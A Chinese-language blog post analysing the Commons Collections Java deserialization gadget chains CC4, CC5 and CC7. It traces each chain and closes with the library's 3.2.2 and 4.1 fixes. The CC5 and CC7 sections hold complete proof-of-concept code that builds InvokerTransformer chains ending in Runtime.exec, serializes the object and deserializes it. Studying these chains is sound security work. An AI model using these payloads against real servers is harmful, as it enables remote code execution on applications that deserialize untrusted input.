Java安全之CC4,5,7
前言
前边已经将CC链中的关键部分学习差不多,接下来就是一些扩展思路,
CC4
ObjectInputStream.readObject()
    PriorityQueue.readObject()
        PriorityQueue.heapify()
            PriorityQueue.siftDown()
                PriorityQueue.siftDownUsingComparator()
                    TransformingComparator.compare()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InstantiateTransformer.transform()
                            newInstance()
                                TrAXFilter#TrAXFilter()
                                TemplatesImpl.newTransformer()
                                         TemplatesImpl.getTransletInstance()
                                         TemplatesImpl.defineTransletClasses.newInstance()
                                            Runtime.exec()
cc4也没什么新的东西,实际上算是cc2和cc3的杂交体。其中的类前边都已经学过了。
CC5
/*
    Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()
    Requires:
        commons-collections
 */
/*
This only works in JDK 8u76 and WITHOUT a security manager
https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
 */
cc5的后半段与cc1相同,在cc1中说了,这里只要调用LazyMap#get并且传递任意内容即可触发后续的链达到rce的目的。
在cc5中用到的是TiedMapEntry中的toString方法:
public String toString() {
        return this.getKey() + "=" + this.getValue();
    }
跟进getValue方法:
 public V getValue() {
        return this.map.get(this.key);
    }
可以发现这里对this.map调用了get方法,并将key传递进去,所以这里只需要令map为我们前面构造好的LazyMap,即可触发rce

map以及key都是我们可控的,构造POC:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import java.util.HashMap;
public class cc5 {
    public static void main(String[] args){
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc。exe"})});
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
        TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        tiedmap.toString();
    }
}

接下来我们需要找哪里调用了toString方法,在cc5中使用了BadAttributeValueExpException这个类
BadAttributeValueExpException#readObject:
看看这个valObj是从哪里来的:

这里是从Filed中取出来的,那么利用方式也就很清晰了,通过反射来设置BadAttributeValueExpException中val的值为TiedMapEntry即可触发命令执行
那为什么创建BadAttributeValueExpException实例时不直接将构造好的TiedMapEntry传进去而要通过反射来修改val的值?
以下为BadAttributeValueExpException的构造方法:
public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }
如果我们直接将前面构造好的TiedMapEntry传进去,在这里就会触发toString,从而导致rce。此时val的值为UNIXProcess,这是不可以被反序列化的,所以我们需要在不触发rce的前提,将val设置为构造好的TiedMapEntry。否则就会报出下边的错误

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
public class cc5 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc.exe"})});
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
        TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);
        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
            outputStream.writeObject(poc);
            outputStream.close();
            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}
CC7
/* Payload method chain:
    java.util.Hashtable.readObject
    java.util.Hashtable.reconstitutionPut
    org.apache.commons.collections.map.AbstractMapDecorator.equals
    java.util.AbstractMap.equals
    org.apache.commons.collections.map.LazyMap.get
    org.apache.commons.collections.functors.ChainedTransformer.transform
    org.apache.commons.collections.functors.InvokerTransformer.transform
    java.lang.reflect.Method.invoke
    sun.reflect.DelegatingMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke0
    java.lang.Runtime.exec
*/
cc7后半段与cc1相同,前半段(如何触发LazyMap#get)不同
在cc1中是通过AnnotationInvocationHandler#invoke来触发对恶意代理handler调用其invoke方法从而触发LazyMap#get方法。
而cc7中是通过AbstractMap#equals来触发对LazyMap#get方法的调用

如果这里的m是我们可控的,那么我们设置m为LazyMap,即可完成后面的rce触发
先寻找调用equals方法的点,cc7中使用了HashTable#reconstitutionPut:

这里的key如果是我们可控的,那么m就是我们可控的,接着在HashTable#readObject中调用了reconstitutionPut方法,并将key传递进去

接下来就是看如何对参数进行控制的问题了。
在readObject方法中传递进去的key,是使用readObject得到的,那么在writeObject处,也必然会有:

里传递的实际上就是HashTable#put时添加进去的key和value
POC如下
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class cc7 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        // Reusing transformer chain and LazyMap gadgets from previous payloads
        final String[] execArgs = new String[]{"calc.exe"};
        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        execArgs),
                new ConstantTransformer(1)};
        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();
        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);
        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);
        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);
        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain,transformers);
//        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
        // Needed to ensure hash collision after previous manipulations
        lazyMap2.remove("yy");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));
        objectOutputStream.writeObject(hashtable);
        objectOutputStream.close();
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));
        objectInputStream.readObject();
//            return hashtable;
    }
}
为什么要调用两次put?

在第一次调用reconstitutionPut时,会把key和value注册进table中

此时由于tab[index]里并没有内容,所以并不会走进这个for循环内,而是给将key和value注册进tab中。在第二次调用reconstitutionPut时,tab中才有内容,我们才有机会进入到这个for循环中,从而调用equals方法。
为什么调用的两次put其中map中key的值分别为yy和zZ?

箭头指向的index要求两次都一样,否则无法获取到上一次的结果,再看看index是哪里来的,
这里index的计算方式关键是hash,而hash是通过key.hashCode得来的,在java中有一个小bug:
"yy".hashCode() == "zZ".hashCode()
所以这里我们需要将map中put的值设置为yy和zZ,使两次计算的index都一样,才能够进入到for循环中
为什么在调用完HashTable#put之后,还需要在map2中remove掉yy?
这是因为HashTable#put实际上也会调用到equals方法,会影响我们的判断。
小结
学完CC1-CC7之后,可以得出如下结论,cc的链大抵分为三段:
- readObject触发
- 调用transform方法
- 触发后续链达到rce的目的
版本相关
- 1、3、5、6、7是Commons Collections<=3.2.1中存在的反序列化链。
- 2、4是Commons Collections 4.0以上中存在的反序列化链。
- 同时还对JDK的版本有要求,我使用的测试版本为1.7和1.8。
修复
顺便看看官方是怎么修复漏洞的,Apache Commons Collections官⽅在2015年底得知序列化相关的问题后,就在两个分⽀上同时发布了新的版本,4.1和3.2.2
先看3.2.2,新版代码中增加了⼀个⽅法FunctorUtils#checkUnsafeSerialization,⽤于检测反序列化是否安全。如果开发者没有设置全局配置org.apache.commons.collections.enableUnsafeSerialization=true,即默认情况下会抛出异常。 这个检查在常⻅的危险Transformer类( InstantiateTransformer 、 InvokerTransformer 、 PrototypeFactory 、 CloneTransforme r 等的readObject⾥进⾏调⽤,所以,当我们反序列化包含这些对象时就会抛出⼀个异常:
Serialization support for org.apache.commons.collections.functors.InvokerTransformer is
disabled for security reasons. To enable it set system property
'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure
that your application does not de-serialize objects from untrusted sources
再看4.1,修复⽅式⼜不⼀样。4.1⾥,这⼏个危险Transformer类不再实现 Serializable 接⼝,也就 是说,他们⼏个彻底⽆法序列化和反序列化了
Java安全之CC4,5,7的更多相关文章
- Spark案例分析
		一.需求:计算网页访问量前三名 import org.apache.spark.rdd.RDD import org.apache.spark.{SparkConf, SparkContext} /* ... 
- JAVA车票管理系统(简单GUI)
		一. 需求分析 1.设计题目:车票管理系统 用JAVA语言和数据结构知识设计设计车票管理系统.要求如下所述: 一车站每天有n个发车班次,每个班次都有一个班次号(1.2.3…n),固定的发车时间, ... 
- java中的反射整理
		1,什么是反射 反射机制是java语言提供的一种基础功能,它能够赋予成语在运行时进行自省的能力.通过反射我们可以直接操作类或者对象,例如:可以通过反射去获取某个对象的类的定义,属性,方法,还可以修改类 ... 
- Java【第八篇】面向对象之高级类特性
		static 关键字 当我们编写一个类时,其实就是在描述其对象的属性和行为,而并没有产生实质上的对象,只有通过new关键字才会产生出对象,这时系统才会分配内存空间给对象,其方法才可以供外部调用.我们有 ... 
- 【JVM】java的内存泄露问题
		一.GC可回收的对象 二:什么是内存泄露--->Java的一个最显著的优势是内存管理.你只需要简单的创建对象而不需要负责释放空间,因为Java的垃圾回收器会负责内存的回收.然而,情况并不是这样简 ... 
- java反序列化-ysoserial-调试分析总结篇(2)
		前言: 这篇主要分析commonCollections2,调用链如下图所示: 调用链分析: 分析环境:jdk1.8.0 反序列化的入口点为src.zip!/java/util/PriorityQueu ... 
- java反序列化-ysoserial-调试分析总结篇(4)
		1.前言 这篇文章继续分析commoncollections4利用链,这篇文章是对cc2的改造,和cc3一样,cc3是对cc1的改造,cc4则是对cc2的改造,里面chained的invoke变成了i ... 
- Java安全之Shiro 550反序列化漏洞分析
		Java安全之Shiro 550反序列化漏洞分析 首发自安全客:Java安全之Shiro 550反序列化漏洞分析 0x00 前言 在近些时间基本都能在一些渗透或者是攻防演练中看到Shiro的身影,也是 ... 
- Java安全之Fastjson反序列化漏洞分析
		Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ... 
随机推荐
- bfile 类型数据的存取
			KingbaseES 支持 bfile 数据类型.对于bfile ,实际数据是存储在操作系统上,数据库存储的只是指向文件的指针. 具体例子如下: test=# create directory BFI ... 
- 弱隔离级别 & 事务并发问题
			介绍弱隔离级别 为什么要有弱隔离级别 如果两个事务操作的是不同的数据, 即不存在数据依赖关系, 则它们可以安全地并行执行.但是当出现某个事务修改数据而另一个事务同时要读取该数据, 或者两个事务同时修改 ... 
- 可靠的自托管「GitHub 热点速览 v.22.37」
			自托管(Self-Hosted) 是很多开源项目主打的亮点:数据在手,安全我有.本周 GitHub 热点榜单上有多款自托管的项目,当中自然不能少了之前 HG 小伙伴 @makes world simp ... 
- Prometheus 监控 Kubernetes Job 资源误报的坑
			转载自:https://www.qikqiak.com/post/prometheus-monitor-k8s-job-trap/ 昨天在 Prometheus 课程辅导群里面有同学提到一个问题,是关 ... 
- Kubernetes容器运行时弃用Docker转型Containerd
			文章转载自:https://i4t.com/5435.html Kubernetes社区在2020年7月份发布的版本中已经开始了dockershim的移除计划,在1.20版本中将内置的dockersh ... 
- Elasticsearch 主从同步之跨集群复制
			文章转载自:https://mp.weixin.qq.com/s/alHHxXont6XFm_m9PfsGfw 1.什么是跨集群复制? 跨集群复制(Cross-cluster replication, ... 
- CentOS7.x安装VNC
			VNC需要系统安装的有桌面,如果是生产环境服务器,安装时使用的最小化安装,那么进行下面操作安装GNOME 桌面. # 列出的组列表里有GNOME Desktop. yum grouplist #安装 ... 
- 使用Elasticsearch的processors来对csv格式数据进行解析
			来源数据是一个csv文件,具体内容如下图所示: 导入数据到es中 有两种办法,第一种是在kibana界面直接上传文件导入 第二种方法是使用filebeat读取文件导入 这里采用第二种办法 配置文件名: ... 
- Prometheus高可用部署
			Prometheus的本地存储给Prometheus带来了简单高效的使用体验,可以让Promthues在单节点的情况下满足大部分用户的监控需求.但是本地存储也同时限制了Prometheus的可扩展性, ... 
- day42-反射01
			Java反射01 1.反射(reflection)机制 1.1反射机制问题 一个需求引出反射 请看下面问题: 根据配置文件 re.properties 指定信息,创建Cat对象并调用方法hi clas ... 
